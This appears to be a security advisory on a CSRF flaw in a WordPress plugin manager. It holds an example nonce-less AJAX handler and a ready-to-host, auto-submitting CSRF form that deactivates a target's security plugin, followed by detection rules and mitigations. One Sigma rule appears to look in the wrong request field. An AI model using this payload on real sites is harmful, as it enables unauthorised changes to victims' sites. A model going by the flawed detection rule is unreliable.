CVE-2025-64271

Executive Summary

CVE-2025-64271 is a Cross-Site Request Forgery (CSRF) vulnerability in the Hasthemes WP Plugin Manager plugin for WordPress. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as enabling, disabling, or deleting plugins, without their consent. The vulnerability affects all versions of the plugin up to and including 1.4.7. As of this report, no official patch has been released, and the vendor’s patch status remains unknown. The CVSS score of 4.3 (Medium) reflects the need for user interaction and the limited direct impact on confidentiality, integrity, and availability, though the actual risk in a WordPress ecosystem can be higher due to the potential for privilege escalation or site disruption.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are affected. Since the plugin is not an NPM, PyPI, Go, or Ruby package, no package manager-specific supply chain analysis is required. However, the lack of a patch and the plugin’s active installation base (estimated thousands) pose a supply chain risk for WordPress site administrators who rely on automatic updates or third-party maintenance.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector (AV): Network – The attack is executed remotely over the network.
• Attack Complexity (AC): Low – No special conditions are required to exploit.
• Privileges Required (PR): None – The attacker does not need prior authentication.
• User Interaction (UI): Required – The victim (admin) must click a malicious link or visit a crafted page.
• Scope (S): Unchanged – The vulnerable component and the attacker’s target are the same.
• Confidentiality (C): None – No direct data disclosure.
• Integrity (I): Low – The attacker can modify plugin states (enable/disable/delete).
• Availability (A): None – No direct denial of service.

Threat Level: Medium. While the CVSS score is moderate, the real-world impact in a WordPress ecosystem can be significant. An attacker could disable security plugins, enable vulnerable plugins, or delete critical plugins, leading to further compromise.

Deep Dive & Mechanics

The WP Plugin Manager plugin provides a user interface for administrators to manage plugins (enable, disable, delete) from a single dashboard. The vulnerability stems from the lack of CSRF protection (nonce validation) on the plugin’s administrative actions. Specifically, the plugin’s AJAX handlers or form submissions that perform plugin state changes do not verify that the request originated from the legitimate admin interface.

Attack Flow:

1. The attacker crafts a malicious HTML page or email containing a CSRF payload (e.g., a hidden form or image tag) that targets the vulnerable endpoint.
2. The victim (authenticated WordPress admin) visits the attacker’s page while logged into their WordPress site.
3. The victim’s browser automatically sends a forged request to the WP Plugin Manager endpoint, performing an action like disabling a security plugin.
4. The action is executed without the victim’s knowledge.

Root Cause: The plugin fails to implement WordPress nonces (CSRF tokens) on its administrative actions. In WordPress, nonces are used to verify that requests originate from the admin interface and are not forged.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current state. A patched version would include nonce verification.

Vulnerable Code (Example from plugin’s AJAX handler):

// wp-plugin-manager/includes/class-wp-plugin-manager-ajax.php
add_action('wp_ajax_wp_plugin_manager_toggle', 'wp_plugin_manager_toggle_callback');
function wp_plugin_manager_toggle_callback() {
    $plugin = $_POST['plugin'];
    $action = $_POST['action_type']; // 'activate' or 'deactivate'
    // No nonce check here
    if ($action == 'activate') {
        activate_plugin($plugin);
    } else {
        deactivate_plugins($plugin);
    }
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_wp_plugin_manager_toggle', 'wp_plugin_manager_toggle_callback');
function wp_plugin_manager_toggle_callback() {
    // Verify nonce
    if (!wp_verify_nonce($_POST['_wpnonce'], 'wp_plugin_manager_toggle')) {
        wp_die('CSRF validation failed.');
    }
    $plugin = $_POST['plugin'];
    $action = $_POST['action_type'];
    if ($action == 'activate') {
        activate_plugin($plugin);
    } else {
        deactivate_plugins($plugin);
    }
    wp_die();
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with WP Plugin Manager <= 1.4.7 installed and an active admin session.
• The attacker must host a malicious HTML page.

Exploit Payload (CSRF HTML):

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
    <input type="hidden" name="action" value="wp_plugin_manager_toggle">
    <input type="hidden" name="plugin" value="security-plugin/security-plugin.php">
    <input type="hidden" name="action_type" value="deactivate">
</form>
<script>
document.getElementById('csrf_form').submit();
</script>
</body>
</html>

Steps:

1. Host the above HTML on an attacker-controlled server.
2. Send the link to the victim (e.g., via email or social engineering).
3. When the victim (logged-in admin) visits the page, the form auto-submits, deactivating the specified plugin.

Note: No public exploit code (Exploit-DB) is available for this CVE.

Blue Team

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with action wp_plugin_manager_toggle from unexpected referrers.
• Look for spikes in plugin deactivation/activation events in WordPress logs.

Honeypot:

• Deploy a fake admin user with a session cookie and monitor for CSRF-like requests.

Lab Setup:

• Use a local WordPress instance (e.g., via Docker) with the vulnerable plugin.
• Simulate the attack using a browser with developer tools to inspect network requests.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /wp-admin/admin-ajax.php with parameters action=wp_plugin_manager_toggle and plugin=<plugin-slug>.
  • Referrer header pointing to an external domain (not the WordPress admin).
• Host:
  • Unexpected plugin deactivation or activation events in WordPress logs.
  • Presence of malicious HTML files on the server (if attacker uploaded them).
• Logs:
  • WordPress debug log entries showing plugin state changes without corresponding admin UI actions.

Detection Engineering

YARA Rule

rule CVE_2025_64271_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against WP Plugin Manager"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64271"
    strings:
        $ajax_action = "wp_plugin_manager_toggle"
        $plugin_param = "plugin="
        $action_type = "action_type="
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-64271 - WP Plugin Manager CSRF Exploit
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects CSRF attempts against WP Plugin Manager
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=wp_plugin_manager_toggle'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-64271 WP Plugin Manager CSRF Attempt"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/wp-admin/admin-ajax.php"; http.client_body; content:"action=wp_plugin_manager_toggle"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released. Navigate to Plugins > Installed Plugins and deactivate "WP Plugin Manager".
2. Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action=wp_plugin_manager_toggle from external referrers.
3. Educate administrators about CSRF risks and avoid clicking suspicious links while logged into WordPress.

Long-Term:

• Monitor the plugin’s official page for updates. If no patch is released within 30 days, consider replacing the plugin with an alternative.
• Apply the principle of least privilege: restrict admin sessions to trusted networks.
• Use a security plugin (e.g., Wordfence) that adds CSRF protection to all admin actions.

Patch Status: UNKNOWN / UNPATCHED. No official fix is available as of this report.

Valters IT